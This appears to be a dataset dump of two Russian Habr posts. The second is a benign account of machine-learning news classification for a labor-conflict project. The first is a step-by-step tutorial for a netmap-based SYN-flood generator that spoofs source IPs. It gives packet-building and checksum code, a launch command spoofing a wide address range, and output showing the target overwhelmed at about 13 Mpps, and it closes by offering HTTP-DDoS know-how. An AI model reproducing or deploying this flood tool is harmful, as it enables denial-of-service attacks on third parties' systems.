text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# SYN-флудим со спуффингом на 14 mpps или нагрузочная вилка V 2.0
Что-то меня пробило на написание заметок последнее время, поэтому пока энтузиазм не спал раздаю долги.
Год назад я пришёл на хабр со статьёй "[TCP(syn-flood)-netmap-generator производительностью 1,5 mpps](http://habrahabr.ru/post/183692/)", после которой многие писали и даже звонили с просьбой описать создание такой же «вилки» со спуффингом на максимуме возможностей 10GB сети. Я всем обещал, а руки всё не доходили.
Кто-то скажет, что это руководство для хакеров, но ведь свинья грязи найдёт, а те кому нужен этот инструмент в благонадёжных целях могу остаться ни с чем.
Поэтому приступим.
Как обычно сначала о том на чём работаем:
```
# uname -orp
FreeBSD 10.0-STABLE amd64
# pciconf -lv | grep -i device | grep -i network
device = '82599EB 10-Gigabit SFI/SFP+ Network Connection'
```
Итак, у нас есть два компа бытового уровня, пара интеловских 82599EB и 10G SFP
Начнём с сетевых плат. Производители сетевого оборудования очень не любят когда кто-то использует их адаптеры, но берёт сторонние SFP. И, как правило, «из коробки» сетевуха одного брэнда не заработает с SFP других фирм. Путей решения два:
— перешить SFP-модуль под нужный бренд;
— поправить драйвера.
Для первого варианта нужен программатор. Своего у меня нет, а ехать 150км к знакомому перешивать желания не испытываю. Поэтому наш вариант — правка исходников. Нам потребуется внести изменения в ee /usr/src/sys/dev/ixgbe/ixgbe.c
В старых версиях фряшки требовалось изменить
```
if (!(enforce_sfp & IXGBE_DEVICE_CAPS_ALLOW_ANY_SFP) &&
```
на
```
enforce_sfp |= IXGBE_DEVICE_CAPS_ALLOW_ANY_SFP;
if (!(enforce_sfp & IXGBE_DEVICE_CAPS_ALLOW_ANY_SFP) &&
```
Но потом Intel понял, что бороться с ветряными мельницами не стоит и ввёл параметр allow\_unsupported\_sfp
```
# grep -rni "allow_unsupported_sfp" *.c
ixgbe.c:322:static int allow_unsupported_sfp = FALSE;
```
Изменяем его на TRUE. Добавляем сразу в ядро:
```
# grep netmap /usr/src/sys/amd64/conf/20140523
device netmap
```
И пересобираемся. Система встречает нас:
> WARNING: Intel ® Network Connections are quality tested using Intel ® Ethernet Optics. Using untested modules is not supported and may cause unstable operation or damage to the module or the adapter. Intel Corporation is not responsible for any harm caused by using untested modules.
>
>
Цель достигнута, SFP-шка завелась и байтики побежали по многомоду.
Получаем исходники netmap'а
```
git clone https://code.google.com/p/netmap/
```
И берём за основу *netmap/examples/pkt-gen.c*
Создаём структуру нашего пакета:
```
struct pkt {
struct virt_header vh;
struct ether_header eh;
struct ip ip;
struct tcphdr tcp;
uint8_t body[2048]; // XXX hardwired
} __attribute__((__packed__));
```
указываем протокол
```
ip->ip_p = IPPROTO_TCP;
```
и заполняем структуру
```
tcp = &pkt->tcp;
tcp->th_sport = htons(targ->g->src_ip.port0);
tcp->th_dport = htons(targ->g->dst_ip.port0);
//tcp->th_ulen = htons(paylen);
/* Magic: taken from sbin/dhclient/packet.c */
tcp->th_seq = ntohl(rand()); // Contains the sequence number.
tcp->th_ack = rand(); // Contains the acknowledgement number.
tcp->th_x2 = 0; // Unused.
tcp->th_off = 5; // Contains the data offset.
tcp->th_flags = TH_SYN; // Contains one of the following values:
/*
Flag Value Description
TH_FIN 0x01 Indicates that the transmission is finishing.
TH_SYN 0x02 Indicates that sequence numbers are being synchronized.
TH_RST 0x04 Indicates that the connection is being reset.
TH_PUSH 0x08 Indicataes that data is being pushed to the application level.
TH_ACK 0x10 Indicates that the acknowledge field is valid.
TH_URG 0x20 Indicates that urgent data is present.
*/
tcp->th_win = htons(512); // Contains the window size.
tcp->th_sum = 0; // Contains the checksum.
tcp->th_urp = 0; // Contains the urgent pointer.
```
По сути и всё, но нам нужен perfect-syn, поэтому считаем контрольную сумму отправляемого пакета
```
int tcp_csum(struct ip *ip, struct tcphdr * const tcp) {
u_int32_t sum = 0;
int tcp_len = 0;
/* Calculate total length of the TCP segment */
tcp_len = (u_int16_t) ntohs(ip->ip_len) - (ip->ip_hl << 2);
/* Do pseudo-header first */
sum = sum_w((u_int16_t*)&ip->ip_src, 4);
sum += (u_int16_t) IPPROTO_TCP;
sum += (u_int16_t) tcp_len;
/* Sum up tcp part */
sum += sum_w((u_int16_t*) tcp, tcp_len >> 1);
if (tcp_len & 1)
sum += (u_int16_t)(((u_char *) tcp)[tcp_len - 1] << 8);
/* Flip it & stick it */
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
return htons(~sum);
}
```
Вот теперь всё.
Компилируем. Взрываем.
```
pkt-gen -f tx -i netmap:ix0 -s 128.0.0.1-223.255.255.254 -d 10.90.90.55 -l 60
224.387037 main [1654] interface is netmap:ix0
224.387098 extract_ip_range [277] range is 128.0.0.1:0 to 223.255.255.254:0
224.387103 extract_ip_range [277] range is 10.90.90.55:0 to 10.90.90.55:0
ifname [netmap:ix0]
224.446848 main [1837] mapped 334980KB at 0x8019ff000
Sending on netmap:ix0: 8 queues, 1 threads and 1 cpus.
128.0.0.1 -> 10.90.90.55 (00:00:00:00:00:00 -> ff:ff:ff:ff:ff:ff)
224.446868 main [1893] --- SPECIAL OPTIONS: copy
224.446870 main [1915] Sending 512 packets every 0.000000000 s
224.446872 main [1917] Wait 2 secs for phy reset
226.462882 main [1919] Ready...
ifname [netmap:ix0]
226.462926 nm_open [461] overriding ifname ix0 ringid 0x0 flags 0x1
226.462993 sender_body [1026] start
227.526363 main_thread [1451] 11284469 pps (11999724 pkts in 1063384 usec)
228.589297 main_thread [1451] 11369243 pps (12084766 pkts in 1062935 usec)
229.652296 main_thread [1451] 12401300 pps (13119571 pkts in 1062999 usec)
230.672799 main_thread [1451] 13262006 pps (13492911 pkts in 1020503 usec)
231.736296 main_thread [1451] 13304686 pps (13022500 pkts in 1063497 usec)
```
Смотрим «качество» принимаемых пакетов:
```
# tcpdump -vvv -n
11:39:54.349362 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
129.115.75.162.0 > 10.90.90.55.0: Flags [S], cksum 0xcd54 (correct), seq 1091106137:1091106143, win 512, length 6
11:39:54.349364 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
129.115.153.57.0 > 10.90.90.55.0: Flags [S], cksum 0x9755 (correct), seq 286688948:286688954, win 512, length 6
11:39:54.349365 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
129.115.185.75.0 > 10.90.90.55.0: Flags [S], cksum 0xf668 (correct), seq 213892719:213892725, win 512, length 6
11:39:54.349366 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
129.115.75.81.0 > 10.90.90.55.0: Flags [S], cksum 0x9e6c (correct), seq 337979969:337979975, win 512, length 6
11:39:54.349367 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
129.115.151.163.0 > 10.90.90.55.0: Flags [S], cksum 0x15a5 (correct), seq 224623736:224623742, win 512, length 6
11:39:54.349368 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
129.115.183.209.0 > 10.90.90.55.0: Flags [S], cksum 0xd87a (correct), seq 426044579:426044585, win 512, length 6
```
Принимаемая машина, конечно, утилизирована в хлам:
```
last pid: 57199; load averages: 1.90, 0.74, 0.38 up 20+19:01:42 11:42:41
134 processes: 12 running, 95 sleeping, 27 waiting
CPU 0: 0.0% user, 0.0% nice, 52.9% system, 45.1% interrupt, 2.0% idle
CPU 1: 0.0% user, 0.0% nice, 43.9% system, 53.3% interrupt, 2.7% idle
CPU 2: 0.0% user, 0.0% nice, 48.6% system, 51.0% interrupt, 0.4% idle
CPU 3: 0.0% user, 0.0% nice, 47.5% system, 51.8% interrupt, 0.8% idle
Mem: 2624K Active, 185M Inact, 299M Wired, 417M Buf, 3473M Free
Swap: 3978M Total, 3978M Free
PID USERNAME PRI NICE SIZE RES STATE C TIME CPU COMMAND
12 root -92 - 0K 480K CPU1 1 0:52 48.49% intr{irq257: ix0:que }
12 root -92 - 0K 480K CPU0 0 0:57 48.29% intr{irq256: ix0:que }
12 root -92 - 0K 480K RUN 2 0:51 47.75% intr{irq258: ix0:que }
12 root -92 - 0K 480K WAIT 3 0:51 47.56% intr{irq259: ix0:que }
0 root -92 0 0K 336K CPU0 0 0:57 46.29% kernel{ix0 que}
0 root -92 0 0K 336K RUN 2 0:47 45.46% kernel{ix0 que}
0 root -92 0 0K 336K CPU2 2 0:47 44.97% kernel{ix0 que}
0 root -92 0 0K 336K CPU1 1 0:47 44.87% kernel{ix0 que}
11 root 155 ki31 0K 64K RUN 3 498.8H 6.69% idle{idle: cpu3}
```
Ну и, конечно, она не смогла обработать всё что ей прилетает. Попробуем принять этот трафик нетмаповскими средствами.
```
./pkt-gen -f rx -i ix0
577.317054 main [1624] interface is ix0
577.317135 extract_ip_range [275] range is 10.0.0.1:0 to 10.0.0.1:0
577.317141 extract_ip_range [275] range is 10.1.0.1:0 to 10.1.0.1:0
577.636329 main [1807] mapped 334980KB at 0x8019ff000
Receiving from netmap:ix0: 4 queues, 1 threads and 1 cpus.
577.636386 main [1887] Wait 2 secs for phy reset
579.645114 main [1889] Ready...
579.645186 nm_open [457] overriding ifname ix0 ringid 0x0 flags 0x1
580.647065 main_thread [1421] 13319133 pps (13339428 pkts in 1001793 usec)
581.649065 main_thread [1421] 13496900 pps (13519928 pkts in 1002003 usec)
582.651054 main_thread [1421] 13386463 pps (13409111 pkts in 1001989 usec)
583.652280 main_thread [1421] 13309552 pps (13323384 pkts in 1001223 usec)
Received 55348748 packets, in 4.27 seconds.
Speed: 13.37 Mpps
```
Так намного лучше.
Попутно напоминаю, что при старте приложения netmap отключает адаптер от сетевого стека, т.е. при экспериментах на удалённой машине всегда нужно иметь 2-й канал связи.
О netmap'e на этом всё. Но есть ещё небольшой опрос сходной тематики. Меня часто спрашивают «можно ли организовать HTTP-DDoS задействовав всего один компьютер». Отвечаю «Да, можно и это не сложно.» Но нужно-ли рассказывать как? | https://habr.com/ru/post/229733/ | null | ru | null |
# Как машинное обучение помогает проекту «ЗабастКом» анализировать новости и освещать трудовые конфликты
В посте расскажу о моем успешном взаимодействии с некоммерческим проектом [ЗабастКом](https://www.zabastcom.org/), который поддерживает наемных работников в отстаивании своих трудовых прав и интересов. Моя цель была реализовать что-то похожее на [ML4SG проект](https://ods.ai/hubs/ml4sg), где волонтеры-специалисты по анализу данных направляют свою энергию на пользу обществу. Например, применяют алгоритмы искусственного интеллекта для [спасения потерявшихся людей](https://habr.com/ru/company/ods/blog/483616/), для [мониторинга качества воздуха](https://ods.ai/projects/air_quality) или для [анализа новостного потока](https://habr.com/ru/company/ods/blog/460287/).
Для Забасткома получилось улучшить систему автоматической обработки новостей с помощью алгоритмов машинного обучения. Это привело к увеличению охвата важных событий и уменьшению ручного труда редакторов. Добавлю, что работа с ребятами была похожа на мечту любого DS специалиста: "заказчик" легко шел на контакт; присутствовала заинтересованность и неплохое понимание ML алгоритмов; некоторая продакшн-система уже функционировала; данные для обучения алгоритмов легко собирались. А под катом — поделюсь подробностями и кодом.
О проекте
---------
[ЗабастКом](https://www.zabastcom.org/) — это содружество технических специалистов, которые неравнодушны к проблемам наемных работников и которые решили вместе освещать трудовые конфликты в России и странах ближнего зарубежья. Среди волонтеров этого проекта есть ребята из Yandex, VK, Tinkoff, OZON и других известных компаний. [Трудовой конфликт](https://dic.academic.ru/dic.nsf/econ_dict/22581) – это когда ваш рабочий коллектив “нагрели” с зарплатой, обманули в процессе трудоустройства или как-то несправедливо поступили, а вы — организованно возмутились. Как показывает практика, чем громче и шире подобная новость разойдется в обществе, тем быстрее будет оказана помощь работникам, сглажена несправедливость и решена проблема. А Забастком как раз нацелен на максимальную огласку новости. Для этого у проекта есть свой новостной интернет-портал, база данных, мобильные приложения, telegram канал и др. соцсети, где оперативно публикуются отобранные редакторами новости. Отобранная информация может быть полезна другим активистам, которые оперативно оказывали бы бастующим юридическую и другую помощь. Все ПО Забасткома разработано и поддерживается добровольцами-активистами. Внутри проекта чувствуется атмосфера небольшой НКО или ИТ стартапа.
Подобной активностью занимаются и международные организации. Например, BHHRC следит за влиянием компаний на своих работников по всему миру. В своем [октябрьском докладе](https://www.business-humanrights.org/en/from-us/briefings/unpicked-fashion-freedom-of-association/) и [документе](https://www.business-humanrights.org/documents/38129/2022_Unpicked_Fashion_and_FOA.pdf) BHHRC приводит данные о систематическом нарушении прав трудящихся на предприятиях легкой промышленности в странах Азии. В документе приводятся причины возникающих забастовок и трудовых конфликтов между собственником предприятия и коллективом наемных работников:
* ухудшение условий труда;
* необоснованное снижение заработной платы;
* отмена оплаты сверхурочных работ;
* сокращения и увеличение нагрузки;
* экономия на защите жизни и здоровья;
* увеличение продолжительности рабочего дня;
* хищение заработной платы, выходных и др. пособий.
Негодование коллектива усиливается ввиду вышеперечисленного на фоне увеличения чистой прибыли их компании, подобно [этой](https://habr.com/ru/news/t/674808/) ситуации. Трудящиеся недовольны, когда прибыль возрастает за счет экономического наступления на их права. Часто выходит так, что профессия человека может быть применима только на одном предприятии его города, нет возможности сменить компанию. А еще единственное градообразующее предприятие могут пытаться [закрыть](https://www.nakanune.ru/news/2023/2/7/22699979) или искусственно банкротить. Поэтому пикеты, забастовки и стачки являются ответной реакцией работников на действия руководства, если другие формы выражения коллективных требований (обращение, жалоба, протест) были проигнорированы. Акции рабочего протеста не направлены против потребителей производимого товара или пользователей.
API и база данных
-----------------
У проекта ЗабастКом есть собственный [API](https://zabastcom.org/apk/docs/#/format). Любой желающий может написать программный запрос и получить доступ к пополняющейся базе данных. База данных накоплена за 5 лет и содержит информацию об освещенных забастовках, пикетах, жалобах и результатах этих конфликтов. Использование API может осуществляться свободно и бесплатно, но без целей извлечения прибыли.
**делюсь кодом для выгрузки данных из API**
```
# python
import json
import requests
LINK = 'https://zabastcom.org/api/v2/all/events'
r = requests.get(LINK, params={'page':1,'perPage':10,'sort.field':'createdAt','sort.order':'desc'})
r = json.loads(r.text)
print('Events:', r['meta'])
# Events: {'total': 5671, 'currentPage': 1, 'perPage': 10, 'lastPage': 568}
print('Number of events on current page:', len(r['data']), '\n')
# Number of events on this page: 10
import pprint
pp = pprint.PrettyPrinter(indent=4)
pp.pprint(r['data'][0])
```
```
{ 'conflict': { 'automanagingMainType': False,
'companyName': 'Алтайский краевой кардиологический '
'диспансер',
'conflictReasonId': 1,
'conflictResultId': 7,
'createdAt': 1672223749,
'dateFrom': 1672223670,
'dateTo': None,
'id': 3314,
'industryId': 10,
'latitude': 53.368935,
'longitude': 83.70607,
'mainTypeId': 9,
'parentEventId': None,
'titleDe': None,
'titleEn': None,
'titleEs': None,
'titleRu': 'Невыплата годовой премии медсестрам '
'барнаульского Кардиоцентра'},
'conflictId': 3314,
'contentDe': None,
'contentEn': None,
'contentEs': None,
'contentRu': 'В Барнауле прокуратура начала проверку после жалоб медсестер '
'Алтайского краевого кардиологического диспансера на '
'невыплату итоговой премии за год. Деньги пообещали дать '
'врачам и младшему медперсоналу, а вот средний медперсонал '
'финансовой помощи лишили.',
'createdAt': 1672223877,
'date': 1672223752,
'eventStatusId': 2,
'eventTypeId': 9,
'id': 5905,
'latitude': 53.368935,
'longitude': 83.70607,
'photoUrls': [ 'https://api.amic.ru/uploads/news/images/6A490C7E5FEE4C749EDF9DB8A6A3F324.png'],
'published': True,
'sourceLink': 'https://www.amic.ru/news/medicine/prokuratura-nachala-proverku-posle-zhaloby-medsester-barnaulskogo-kardiocentra-na-otmenu-godovoy-itogovoy-vyplaty',
'tags': [],
'titleDe': None,
'titleEn': None,
'titleEs': None,
'titleRu': 'Жалоба медсестёр барнаульского кардиоцентра',
'videos': [],
'views': 348}
```
Если кто-то захочет "подписаться" на API, то он может использовать код ниже. Алгоритм следит за появлением всех новых трудовых конфликтов, которые редакторы добавляют в API, и пересылает их в выбранный tg бот.
**делюсь кодом для мониторинга API**
```
# zbs_api_monitoring.py
# pip install pyTelegramBotAPI
import telebot
import time
from datetime import datetime
import json
import requests
token = '...'
bot = telebot.TeleBot(token)
LINK = 'https://zabastcom.org/api/v2/all/events'
n_min = 30
@bot.message_handler(commands=['start'])
def start_message(message):
chat_id = message.chat.id
bot.send_message(chat_id, 'Алгоритм следит за API Забасткома.\n'+\
'Новые объекты будут пересылаться в этот tg бот.')
params = {'page':1,'perPage':5,
'sort.field':'createdAt',
'sort.order':'desc'}
r = requests.get(LINK,params=params)
r = json.loads(r.text)
n_prev = r['meta']['total']-1
while True:
r = requests.get(LINK,params=params)
r = json.loads(r.text)
n_now = r['meta']['total']
n_new = n_now-n_prev
if n_new>0:
print(f'{datetime.now().strftime("%H:%M")} появилось {n_new} новых объектов')
r = requests.get(LINK, params={'page':1,'perPage':n_new,
'sort.field':'createdAt',
'sort.order':'desc'})
r = json.loads(r.text)
for i in range(-1,-len(r['data'])-1,-1):
id_ = r['data'][i]['id']
title_ = r['data'][i]['titleRu']
content_ = r['data'][i]['contentRu']
link_ = r['data'][i]['sourceLink']
mess = f'{id_}\n{title_}\n\n{content_}\n{link_}'
bot.send_message(chat_id, mess)
n_prev = n_now
else:
print(f'{datetime.now().strftime("%H:%M")} новых объектов нет')
time.sleep(60*n_min)
bot.polling()
```
Параметр *n\_min* можно менять, в данном примере временной интервал равен 30 минутам:
Визуализируем данные
--------------------
На визуализации показана кластеризация трудовых конфликтов на основе поля **'titleRu'** для всех данных из API. Алгоритм кластеризации объединил схожие по смыслу тексты в группы. Для каждой группы на графике показано самое частое словосочетание. Оси графика не являются интерпретируемыми, однако похожие тексты лежат близко друг к другу, а менее похожие — дальше друг от друга. По рисунку видно, что проблемы работников в СНГ мало чем отличаются от проблем, описанных в докладе BHHRC, и от проблем зарубежных наемных работников в странах [Азии](https://apnews.com/article/health-sri-lanka-strikes-asia-pacific-colombo-05bf4666d7a74f1897b7f0ad64e01bff), [Европы](https://www.cnn.com/2023/01/09/economy/uk-strike-talks/index.html) или [Америки](https://www.reuters.com/world/us/biden-signs-bill-block-us-railroad-strike-2022-12-02/).
**делюсь кодом для кластеризации текстов**
Для каждого текста был получен 312-размерный эмбеддинг помощью [дистилированного берта](https://huggingface.co/cointegrated/rubert-tiny2). Для проектирования 312-размерных эмбеддингов на 2-размерное пространство использовал алгоритм *t-SNE* с метрикой косинусного расстояния. Для кластеризации выбрал *K-Means* с метрикой косинусного расстояния.
```
# python
import numpy as np
import torch
from transformers import AutoTokenizer, AutoModel
from sklearn.metrics import pairwise_distances
from sklearn.cluster import KMeans
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.manifold import TSNE
import matplotlib.pyplot as plt
def embed_bert_cls(text,model,tokenizer):
t = tokenizer(text, padding=True, truncation=True, return_tensors='pt')
with torch.no_grad():
model_output = model(**{k: v.to(model.device) for k, v in t.items()})
embeddings = model_output.last_hidden_state[:, 0, :]
embeddings = torch.nn.functional.normalize(embeddings)
return embeddings[0].cpu().numpy()
def get_bert_emb(list_of_texts):
# https://huggingface.co/cointegrated/rubert-tiny2
HF_model = "cointegrated/rubert-tiny2"
tokenizer = AutoTokenizer.from_pretrained(HF_model)
sent2vec = AutoModel.from_pretrained(HF_model)
embeddings = []
for i in range(len(list_of_texts)):
embeddings.append(embed_bert_cls(list_of_texts[i], sent2vec, tokenizer))
return np.array(embeddings)
def get_clusters(embeddings,n_clusters):
model = KMeans(n_clusters=n_clusters, random_state=42)
length = np.sqrt((embeddings**2).sum(axis=1))[:,None]
embeddings_ = embeddings/length
clusters = model.fit_predict(embeddings_)
idx_clusters = []
for x in np.unique(clusters):
idx_clusters.append(np.where(clusters==x)[0].tolist())
keywords_clusters = []
for i in range(n_clusters):
corpus_cluster = []
for j in range(len(list_of_texts)):
if clusters[j]==i:
corpus_cluster.append(list_of_texts[j].lower())
vectorizer = CountVectorizer(analyzer='word', ngram_range=(2, 2))
Y = vectorizer.fit_transform(corpus_cluster)
id_max = Y.toarray().sum(axis=0).argmax()
keywords_clusters.append(vectorizer.get_feature_names_out()[id_max])
return clusters,idx_clusters,keywords_clusters
def get_plot(embeddings,clusters,keywords_clusters,perplexity=30):
# get 2D projection of embeddings
distance_matrix = pairwise_distances(embeddings,embeddings,
metric='cosine',
n_jobs=-1)
model = TSNE(n_components=2,
perplexity=perplexity,
learning_rate='auto',
init='random',
metric="precomputed",
square_distances=True,
random_state = 42)
embeddings_2D = model.fit_transform(distance_matrix)
# visualize
colors = np.array([[0.,0.,1.],[0.,1.,0.],
[1.,0.,0.],[1.,1.,0.],
[0.,1.,1.],[1.,0.,1.],
[0.,1.,0.5],[0.5,0.,1.],
[0.,0.5,0.],[1.,1.,0.5],
[0.5,1.,1.],[1.,0.5,1.],
[0.5,0.5,1.],[0.5,1.,0.5],
[1.,0.5,0.5],[0.25,0.46,0.51]]*3)
fig, ax = plt.subplots(figsize=(12,8))
for i in np.unique(clusters):
ax.scatter(embeddings_2D[clusters==i][:, 0], embeddings_2D[clusters==i][:, 1],
c=np.array([colors[i]]*len(embeddings_2D[clusters==i])),
edgecolors='black', s=55, label=i)
ax.text(np.median(embeddings_2D[clusters==i][:, 0]),
np.median(embeddings_2D[clusters==i][:, 1]),
f'{i+1}. '+keywords_clusters[i], size=12,
bbox=dict(boxstyle="square",ec=(0., 0., 0.),fc=colors[i]))
# plt.legend(fontsize=10)
plt.axis('off')
plt.show()
#////////////////////////////////////////////////////////////////////////////
list_of_texts = ['Ковидные доплаты медикам', # 0
'Урезание зарплат работникам супермаркета', # 1
'Долги работникам организации утилизирующей отходы', # 2
'Снижения зарплат курьерам', # 3
'Долги работникам светотехнического предприятия', # 4
'Оплата и условия труда на месторождении', # 5
'Жалоба медиков', # 6
'Долги работникам строительной компании', # 7
'Нарушение условий соглашения с рабочими', # 8
'Урезание зарплат рабочим котельной', # 9
'Доплаты медикам медсанчасти', # 10
'Ухудшение условий труда медиков', # 11
'Задержка и урезание зарплат на заводе', # 12
'Отсутствие доплат медикам', # 13
'Долги работникам фабрики дверей'] # 14
embeddings = get_bert_emb(list_of_texts)
clusters,idx_clusters,keywords_clusters = get_clusters(embeddings,n_clusters=4)
print('Индексы текстов в группах: ',idx_clusters)
# Индексы текстов в группах: [[8, 11], [1, 3, 5, 9, 12], [0, 6, 10, 13], [2, 4, 7, 14]]
get_plot(embeddings,clusters,keywords_clusters,perplexity=2)
```
Разрабатываем классификатор новостей
------------------------------------
Ребятам нужно уметь оперативно выделять информацию о забастовках в огромном новостном потоке. За 5 лет существования проекта подходы к поиску интересующих новостей постоянно улучшались. В ноябре 2022 года процесс был настроен так: парсеры автоматически собирали тексты новостей из сотен источников; далее работали алгоритмы фильтрации на основе простых правил и ключевых слов; после – редакторы в ручном режиме проверяли каждую новость. Алгоритмы фильтрации работали, но могли пропускать важные новости о забастовках или, наоборот, могли выдавать много новостей на сторонние темы. Поэтому улучшение алгоритмов фильтрации с помощью ML-классификатора стало очень актуальной задачей. Без решения этой задачи было невозможно масштабирование проекта без привлечения значительных усилий.
**пояснение для неподготовленных читателей**
Для неподготовленных читателей посоветую прочитать [ml ликбез](https://vas3k.ru/blog/machine_learning/) и приведу простой пример классификации текста с помощью машинного обучения: в любой электронной почте есть детектор спама. Это алгоритм, который умеет отличать хорошее письмо от плохого письма-спама. Чтобы научить алгоритм решать эту задачу, нужно показать ему примеры решения этой задачи человеком. То есть нужно подготовить примеры спам-писем и хороших писем. Во время обучения алгоритм самостоятельно найдет, какие слова, словосочетания и группы символов часто присутствуют в спам письмах. После обучения он сможет оценивать текст каждого нового письма на принадлежность к спаму.
**Про модели:** Ребята уже задумывались о внедрении машинного обучения в процесс фильтрации и даже пробовали конструировать прототип. Им хотелось, чтобы ML-алгоритм мог относить каждый текст новости к одному из двух классов: *класс 1* — если текст о трудовом коллективном конфликте и его стоит посмотреть редактору, *класс 0* – если новость про что-то другое и на нее не нужно тратить время. Этот ML-алгоритм мог бы работать вместе с правилами фильтрации или вместо них. Поэтому после короткого обсуждения было решено взять побольше данных для обучения, сделать качественную предобработку текстов и обучить линейную модель для бинарной классификации с tf-idf векторизацией. Word2Vec/FastText, CNN/RNN сеточки, трансформерные эмбеддинги решили пока не применять, так как вычислительные ресурсы проекта пока слабы.
**Обучающие данные** собрать было легко: примеры новостей *класса 1* взяли из базы данных проекта, выгрузив из API. Примеры новостей *класса 0* запарсили за тот же временной промежуток. Класс 0 можно было бы дополнить известными датасетами новостей. В итоге получился такой баланс классов: *класс 1* — около 5 тыс. примеров; *класс 0* — около 300 тыс. примеров.
**Про предобработку текстов:** линейным моделям можно помочь — для этого нужно как можно сильнее уменьшить размер общего словаря слов в данных с помощью удаления неинформативных слов и лемматизации. А с помощью NER моделей из библиотеки [natasha](https://github.com/natasha) можно автоматически заменять группы слов на один и тот же токен:
* все ФИО заменяются на слово **\_пер**
* все названия организаций заменяются на слово **\_орг**
* все названия стран, городов, районов и тд заменяются на слово **\_лок**
* все числа, написанные цифрами или буквами, заменяются на слово **\_чсл**
* все названия месяцев, год и др. заменяются на слово **\_дат**
**делюсь кодом для предобработки новостей**
```
# python
import re
from natasha import Segmenter,MorphVocab,NewsEmbedding,NewsMorphTagger,Doc
from navec import Navec
from slovnet import NER
rename_dict = {'ORG': ' _орг ',
'PER': ' _пер ',
'LOC': ' _лок '}
text_numbers = ['ноль', 'нуль', 'один', 'два', 'три','четыре','пять',
'шесть','семь','восемь','девять','десять',
'одиннадцать','двенадцать','тринадцать','четырнадцать',
'пятнадцать','шестнадцать','семнадцать','восемнадцать','девятнадцать',
'двадцать','тридцать','сорок','пятьдесят','шестьдесят',
'семьдесят','восемьдесят','девяносто',
'сто','двести','триста','четыреста','пятьсот',
'шестьсот','семьсот','восемьсот','девятьсот',
'тысяча','миллион','миллиард','триллион',
'полтысяча','полмиллиона','полмиллиард','полумиллиард','полмиллиарда',
'полутриллион','полтриллиона','млрд','млд','млн']
dats = ['декабрь','январь','февраль','март','апрель','май',
'июнь','июль','август','сентябрь','октябрь','ноябрь',
'понедельник','вторник','среда','четверг','пятница','суббота','воскресение']
stops = ['что','как','все','она','так','его','только','мне',
'было','меня','еще','нет','ему','теперь','когда','даже',
'вдруг','если','уже','или','быть','был','него','вас',
'нибудь','опять','вам','ведь','там','потом','себя','ничего',
'может','они','тут','где','есть','надо','ней','для',
'тебя','чем','была','сам','чтоб','без','будто','чего',
'раз','тоже','себе','под','будет','тогда','кто','этот',
'того','потому','этого','какой','совсем','ним','здесь','этом',
'один','почти','мой','тем','чтобы','нее','сейчас','были',
'куда','зачем','всех','никогда','можно','при','наконец','два',
'другой','хоть','после','над','больше','тот','через','эти',
'нас','про','всего','них','какая','много','разве','три',
'эту','моя','впрочем','хорошо','свою','этой','перед','иногда',
'лучше','чуть','том','нельзя','такой','более','всегда','конечно',
'всю','между','это','вовремя','вновь','вовсе']
class News_cleaner:
def __init__(self,path_navec_weights,path_ner_weights):
self.stops = set(stops)
self.ner = self.prepare_ner(path_navec_weights, path_ner_weights)
self.morph_vocab = MorphVocab()
self.segmenter = Segmenter()
self.morph_tagger = NewsMorphTagger(NewsEmbedding())
def prepare_ner(self,path_navec_weights,path_ner_weights):
navec = Navec.load(path_navec_weights)
ner = NER.load(path_ner_weights)
ner.navec(navec)
return ner
def clean_text(self,text):
ner_tokens = self.ner(text)
text = text.lower()
lemm_tokens = []
doc = Doc(text)
doc.segment(self.segmenter)
doc.tag_morph(self.morph_tagger)
for x in doc.tokens:
flag = False
for span in ner_tokens.spans:
if span.start<=x.start and span.stop>=x.stop:
flag = True
y = rename_dict[span.type]
lemm_tokens.append(y)
break
if flag==False:
x.lemmatize(self.morph_vocab)
y = x.lemma
lemm_tokens.append(y)
text = ' '.join(lemm_tokens)
text = re.sub(r'\d+',r' _чсл ',text)
for x in text_numbers:
text = text.replace(' '+x+' ',' _чсл ')
for x in dats:
text = text.replace(' '+x+' ',' _дат ')
text = re.sub(r'[^а-я_ ]',r' ',text)
text = re.sub(r' _ ',r' ', text)
text = ' '.join([w for w in text.split() if len(w)>2])
text = ' '.join([w for w in text.split() if w not in self.stops])
text = re.sub(r'(_орг )+',r'_орг ',text+' ')
text = re.sub(r'(_пер )+',r'_пер ',text+' ')
text = re.sub(r'(_лок )+',r'_лок ',text+' ')
text = re.sub(r'(_чсл )+',r'_чсл ',text+' ')
text = re.sub(r'(_дат )+',r'_дат ',text+' ')
return text.strip()
#//////////////////////////////////////////////////////////////////////////////////////
# weighs from github.com/natasha/navec and github.com/natasha/slovnet
path_navec_weights = './resources/navec_news_v1_1B_250K_300d_100q.tar'
path_ner_weights = './resources/slovnet_ner_news_v1.tar'
cleaner = News_cleaner(path_navec_weights,path_ner_weights)
text = 'В Лондоне курьеры ООО "Рога и копыта" во главе с Ивановым \
уже объявляли предупредительную забастовку на два дня в мае 2020 г.'
result = cleaner.clean_text(text)
print(result)
#_лок курьер _орг глава _пер объявлять предупредительный забастовка _чсл день _дат _чсл
```
**Для анализа** обученного классификатора можно посмотреть на самые сильные слова-триггеры, на которые модель обращает внимание при отнесении текста к *классу 1*. Метрика ROC AUC, равная 0.992 на валидации, выглядит неплохо, но в триггерах присутствуют слова, обозначающие профессии людей. Это можно считать небольшим переобучением, которое привело к нескольким забавным ситуациям, о которых напишу в результатах.
Для повышения универсальности модели слова-профессии можно заменить на какой-нибудь токен **\_прф** в следующих экспериментах. Для этого, по хорошему, нужно применить NER модель. Но можно обойтись костылем на основе большого словаря профессий и синонимов, найденных с помощью word2vec.
Разрабатываем дедубликатор новостей
-----------------------------------
